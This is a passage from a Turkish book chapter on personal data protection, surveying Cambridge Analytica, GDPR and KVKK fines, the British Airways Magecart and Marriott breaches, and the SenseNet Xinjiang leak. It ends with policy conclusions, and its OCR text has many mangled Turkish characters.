rin onayina bile ihtiyac duymadan onlarin 6zel mesajlari,
guncellemeleri, mailleri gibi buttiin kayith kigisel bilgileri-
ne erisim imkani elde etmisler.

iletisim aglan disinildiginde, bitin Amerikan vatan-
daslarinin bilgilerine erisebilmek igcin ABD iginde birkag
ylz bin kisiye ulasmanin yeterli oldugu séylenmektedir.
Sirket galisani olan Christopher Wylie tarafindan agikla-
nan bilgiye gére 270 bin kiginin katildigi bu uygulamayla
yaklasik 50 milyon kisiye ait devasa bir kullanici bilgisi
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toplanmistir. Elde edilen veriler, blylk veri ve psikolo-
jik veri analizi yardimiyla se¢im sonuglarina etki etmek
amaciyla kullanilmistir. Kisiler; siyasi egilimleri, kigisel
Ozellikleri, duygusal profilleri ¢ikartilarak gruplandinimis
ve anket sonuglarinin gekismeli goérindigu ve arada-
ki oy farkinin az oldugu eyaletlerde kararsiz segmenin
kendi lehlerine oy kullanmalari icin kisi profillerine gére
Ozellestiriimis video, makale, haber, reklam gibi icerikler
iletilmistir. insanlar manipile ederek oy kullanma tercih-
lerini etkilemis ve istedikleri sonucu elde etmeye ¢alis-
miglardir. Sirketin yaptidi ¢alismalar dikkate alindiginda
hedeflerinin tim se¢menler degil sadece kararsiz ve ters
dusunceli insanlar oldugu, yénlendirme ile kisisel fikirle-
rin degistirildigi ve bu sayede haksiz kazan¢ ve basari
elde edildigi agikga gorilmektedir.

Avrupa Birligi Ulkelerinde yurirlige giren GDPR uyum
suUrecinin sona ermesiyle birlikte sirketlere yaptirnmlar
uygulanmaya baslandi. Bu kapsamda Almanya’da top-
lamda 102 ceza kesilmis olup bunlarin toplam miktarinin
500.000 Euro oldugu goérilmektedir. Ayrica Almanya’da
bir polis memuruna kisisel verileri yasa digi olarak &zel
amaglar icin islediginden dolay1 1400 Euro ceza verilmis-
tir. Polis memuru kurumsal kimligini kullanarak trafik bilgi
sistemi ve federal ag ajansini kullanarak elde ettigi cep
telefonu numarasiyla magdur tarafla acik riza almadan
iletisime gegmistir. Bu olay sonucunda s6z konusu polis
memuru Almanya mahkemeleri tarafindan kisisel verile-
ri acik riza olmadan kullandigdi i¢in cezalandiriimigtir. Bu
ceza, bireysel kisisel veri ihlali cezasi olmasi yéninden
son derece dikkat ¢ekicidir.

Birlesik Krallik Bilgi Komisyonu Ofisi (ICO) 2018 yilinda
yasanan veri kaybi nedeniyle British Airways firmasina
GDPR kapsaminda 230 milyon dolar para cezasi vere-
cegini duyurdu?. Bu ceza GDPR kapsaminda kesilen
en ylksek ceza olarak karsimiza gikmaktadir?®. GDPR
yonetmeligi kapsaminda Avrupadaki yerel veri koruma
ajanslari sirketlere yillik gelirlerinin %4 Une varan cezalar
kesebiliyor. British Airways sirketine kesilen ceza, sir-
ketin 2017 yilindaki gelirinin ylizde 1.5’ine denk geliyor.
Yasanan veri ihlalinde sirketin 500.000 misgterisinin isim,
soyisim, adres, kullanici adi, parola, seyahat rezervasyon
bilgileri ve CVC kodlari dahil 6deme yapilan kart bilgileri
gibi kigisel verilerinin ¢calindigi tespit edildi. Magecart adl
bir siber su¢ grubunun 21 Agustos 05 Eylil 2018 tarihleri
arasinda yasadisi bir sekilde kisisel verilere erisim sagla-
dig1 tespit edildi?®. Magecart grubu web sitesinde bulu-
nan Javascript kod pargacigi olan Modernizr’in giivenlik
acigini kullanarak yirmi iki satirlk kod parcasini gizledigi
ve havayolu sirketinin web sitesine benzeyen ama kont-
roliniin kendilerinde oldugu “baways.com” adli ayr bir
web sitesine yonlendirdigi ortaya ciktl. Sirketin 2012
yiindan beri zafiyeti bilinen Modernizr’i giincellemedigi
ortaya ciktl. Glvenlik uzmanlari British Airways’in sorus-
turma boyunca is birligi yaptigini ve yasanan olay son-
rasi guvenlik tedbirlerini arttirdigini vurguladi. Veri ihlali
yasayan kisilerin tek tek British Airways’tan tazminat ta-
lep etme haklarinin oldugu fakat sirket tarafindan béyle
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bir 6demenin yapildigina dair herhangi bir aciklamanin
yapiimadigi gérulda.

Bir diger buyuk kisisel veri ihlali ise uluslararasi otel zin-
ciri Marriott’ta meydana gelmigtir. Marriott International
tarafindan devralinan Starwood Hotels & Resorts
Worldwide sirketinin musteri veri tabaninin sizdinima-
sl olayl Turkiye dahil birgok Ulkeden insani etkilemistir.
Marriott tarafindan sizintiyla ilgili yapilan aciklamada si-
zintinin Temmuz 2014’ten beri misteri rezervasyon bil-
gilerinin bulundugu veri tabanina yetkisiz erisim oldugu
ve bu durumun ancak 8 Eylil 2018’de fark edildigi belir-
tiliyordu. Bu veri tabaninda 1,24 milyonu Turkiye’den ol-
mak Uzere 383 milyon musteri kaydinin oldugu Marriott
y6netimi tarafindan resmi olarak ag¢iklandi. Bu veri sizin-
tisi olayinda dikkat ¢eken asil konu ise bu kadar blyuk
verinin nasil aktarildigi degil, asil yetkisiz erigimin fark
edilmesinin yaklasik 4 yil almis olmasidir. Gergeklesen
veri ihlali sonucu, musteri bilgileri ele gecirilen otel zinciri
Marriott, ingiltere tarafindan 123 milyon dolarlik faturay-
la karsl karsiya birakildi. TUrkiye ise toplam 1.450.000
lira idari para cezasi kesti. GDPR kapsaminda kesilen
cezalarda sirketin blyUkliga belirli bir degerin Gstin-
de oldugunda sirket gelirleri Gzerinden oransal bir ceza
kesilirken Tlrkiye'de kesilen cezalarin Ust limitinin sinirl
oldugu gériilmektedir. Marriott olayinda ingiltere, kendi
vatandaslarinin kigisel verilerinin ihlalinde kisi basi 17,5
dolar ceza uygularken Ulkemizde KVKK her bir Tirk va-
tandasi i¢in 0,20 dolar ceza uygulamigtir. Verilen ceza-
lardaki farklar, KVKK tarafindan uygulanan yaptirimlarin
tartisiimasina yol agmistir.

Devletlerin siyasi amaclarina ulagsmak icin kigisel verile-
rin islenmesini bir arag olarak kullandig asikardir. Gevers
tarafindan ortaya c¢ikarilan SenseNet veri sizintisinda,
Cin’de Xinjiang bolgesindeki insanlarin kimlik bilgileri ile
bulunduklari konumlari noktasal olarak belirleyip koordi-
natlarini tutan ve erisime acik olan bir veri tabani ortaya
cikarildi. Xinjiang bélgesi, cogunlukla Misliman Uygur
Turklerinin yasadigi bolgedir. SenseNet yiz tanima, ka-
labalik analizi ve bu verileri yapay zeka uygulamalariyla
islemesi ile taniniyor. Ayrica veri tabaninda cami gibi bazi
noktalarin da isaretlendigi gorilUyor. Victor Gevers’in
konu ile ilgili Twitter sayfasini ziyaret ederek daha fazla
bilgiye sahip olabilirsinizi®®.

Buyuk sirketlere uygulanan yaptirmlarin yani sira ginlik
yasantimizda hepimizin sikga karsilastigi ve rahatsizlik
duydugumuz reklam amagli mesaj ve aramalarla ilgili
olarak da KVKK tarafindan ciddi yaptinmlarin uygulan-
maya baslandigini gériilmektedir. Ornegin bir vatandasin
kurula yaptigi sikayet Uzerine bir yatinm ve menkul de-
gerler sirketine, vatandasin izni olmadan reklam amagl
telefon aramasi yaptigi igin 75.000 TL idari para cezasi
verildi®Y. Yine insanlarin borglarindan dolayi karsi taraf
avukatlan tarafindan siklikla aranmasi, hatta avukatlarin
aile bireylerini de arayarak taciz etmesi sikga karsilasti-
gimiz bir durumdur. Bu konuda ilgili kurum emsal sayi-
labilecek bir karar aldi. S6z konusu kararda borclunun
yegenine mesaj atan avukata 50.000 TL idari para cezasi
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verildi®! Bu tUr kararlar toplum nezdinde kisisel verilerin
korunmasiyla ilgili farkindalik olusmasina katkida bulun-
dugu icin son derece 6nemlidir.

Dinya genelinde gérilen kisisel veri ihlallerinde verilen
cezalarda daha cok, verilerin hukuka aykiri islenmesi n
plana g¢ikarken tlkemizde yetkili kurum olan KVKK tara-
findan verilen kararlarda en ¢ok veri glvenligini sagla-
maya yonelik gerekli teknik ve idari tedbirlerin alinma-
masinin ceza nedeni ya da 6énde gelen neden oldugu
gorilmektedir. Asagidaki grafikte KVKK tarafindan veri-
len cezalarin oransal grafigi gosteriimektedir.

varllerin Grensizee Hsa
Edilmesi

B Hukuka aykin ver
igleme
Ddrustok ve Sinirlilik
ihlali

B Riza Alinmamasi

B Yeler Givenlik
Onlemberinin
Alinmamas)

Zamaninda Bildirim
Yapmamamak

Yapilan Bagvura Cevap
Veriimemesi

Vernlenn hukuka aykin
paylagiimas

Sekil 87: KVKK kurul kararlari 6zetleri®"l.

19.3. SONUG

Endustri 4.0 ile birlikte neredeyse tUm cihazlar sensérler-
le ortami algilayip veri Greten ve birbiriyle bilgi ve veri de-
gis tokusu yapabilen akilli cihazlar haline gelerek haya-
timizdaki etkisini artirmigtir. Ayrica, dijitallesen diinyada
alisveris yaptigimiz kredi kartlarindan saglik bilgilerimizi
de barindiran akilli saatlere, begendigimiz fotograflardan
siyasi egilimlerimize kadar ¢ok genis bir yelpazeyle ilgili
verilerin internet ortaminda higbir zaman yok olmayan,
depolanan ve kolayca islenip erigilebilir hale gelen veriler
oldugu gorilmektedir. Bu captaki bly(k veriyi analiz edip
en iyi sekilde yorumlayarak anlamli hale getiren sirketler
misterinin istegini en iyi anlayan ve en ¢ok karsilayan
sirketler olarak ticari yarigi kazanmaktadir. Veriyi tutan
sirketlerin bu verileri sadece ticari amaclar icin kullanma-
diklari ortadadir. islenmis anlamli dijital verilerin siyasi,
askeri, saglik ve teknoloji alanlarinda devletler, firmalar
ve bireyler tarafindan 6zel amaglarla kullanilabilecedi,
buna ybnelik ézel araclarin gelistirimeye baslandigi ve
bu verilerin gelecegi yonlendirecedi cok acgik ortadadir.

Veri sizintilarinin ortaya ¢ikmasindan dolayi kisiler olum-
suz etkilenirken ayni zamanda sirketlerin, kurumlarin ve
Ulkelerin uygulamalari ve politikalari da agiga ¢ikiyor ve
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go6rundr hale geliyor. Bizim olusturdugumuz dijital veriler
bircok sektér icin hammadde olarak kullaniliyor ve daha
sonra veri madenciligi, yapay zeka, makine 6grenmesi
gibi katma degeri yiksek cesitli teknolojilerle islenip tek-
rar pazarlanabiliyor. internet ortaminda her etkilesimde
bulundugumuzda ticari amaglar ya da siyasi emeller icin
kullanilan, bazen de askeri miidahalelere zemin hazirla-
mak icin maniptle edilen birer siber araca dénislyoruz.
Bu buyuklUkte depolanan veri sayesinde kisilerin birey-
sel egilimlerinin, sinirlarinin, beklentilerinin ve duygulari-
nin profillerini iceren bir alt yapi elde ediliyor ve bundan
sonra bu verilerle ne yapilacagi tamamen veriyi elinde
tutan tarafin hayal gtictine kalyor.

Deviletler, kisisel verileri yapay zeka, buylk veri ve siber
guvenlik konularini da isin igine katarak usuliine uygun
olarak islemelidir. Bu sekilde topluma yarar saglayacak
verilerin Uretilmesi; stratejilerin, politikalarin ve hedeflerin
belirlenmesi saglanmalidir. Ulke olarak bu yarigta yerimi-
zi alabilmemiz igin devlet seviyesinde politikalar Gretme-
miz, menfaatimize uygun diizenlemeler saglayip gerekli
durumlarda calismalar baslatmamiz sart gériinmektedir.
Turkiye Cumhuriyeti vatandasi olan her kisinin verileri,
devlet icin ekonomi, maliye, egitim, saglik, guvenlik ve
sosyal politikalarin gercek¢i ve bilimsel verilere daya-
narak gelistirilmesi icin kaynaktir. Ulkemizde denetim,
Kisisel Verilerin Korunmasi Kanunu ve Kisisel Verilerin
Korunmasi Kurulu ile saglanmis durumdadir. Ancak usul,
yénetmelik ve ceza yaninda, Kisisel Verilerin islenmesi
konusunda politikalarin ortaya konulmasi da gerekmek-
tedir. Kisisel veriler islenerek toplum yararina uygulama-
lar ortaya cikarilmalidir. Ayrica yazihm gelistirerek bir hiz-
met ortaya koyan bilisim firmalarinin hizmet kalitelerini
artirmak, teknolojilerini gelistirmek, kullanicilar i¢in daha
verimli Grtnler ortaya koymak ve hizmetlerini yapay zeka
ve blyUk veri teknolojilerinden yararlanarak daha iyi bir
noktaya tasimak icin topladiklar verileri igslemeleri ve is-
ledikleri verilerden sonuglar ¢ikarmalari gerekmektedir.
Bu sekilde piyasada rekabet edip Urlinlerini daha iyi bir
seviyeye tagiyabilirler.

Kisisel verilerin korunmasiyla ilgili tartismalarn artarak
bluylyecegdi ve dinya genelinde kisisel verileri koruma
yasalarinin gézden gecirilerek daha da guclendirilmesi
konusunun yakin zamanda gliindeme gelecegi gorul-
mektedir. Son kullanicilarin bilinglendirilmesi zorunlulu-
gu, devletlerin siber giivenlik politikalarina girecektir. Veri
haklari temel haklar olarak devletlerin anayasalarinda
kendine kalici olarak yer bulacaktir. Biiyilk veriyi dogru
sekilde ybneten, usulline uygun olarak menfaatine yéne-
lik isleyen Ulkeler gelecege yon verecek, bunu basaran
sirketler ise yakin gelecegin en kiymetli sirketleri arasin-
da yer alacaktir. Bu nedenle lilke olarak bu savasta ye-
rimizi bir an édnce almamiz, etki, alanimizi genisletmemiz
ve uluslararasi arenada sz sahibi olmak i¢in ne gereki-
yorsa yapmamiz tlkemizin gelecegi icin vazgecilmez bir
unsurdur.
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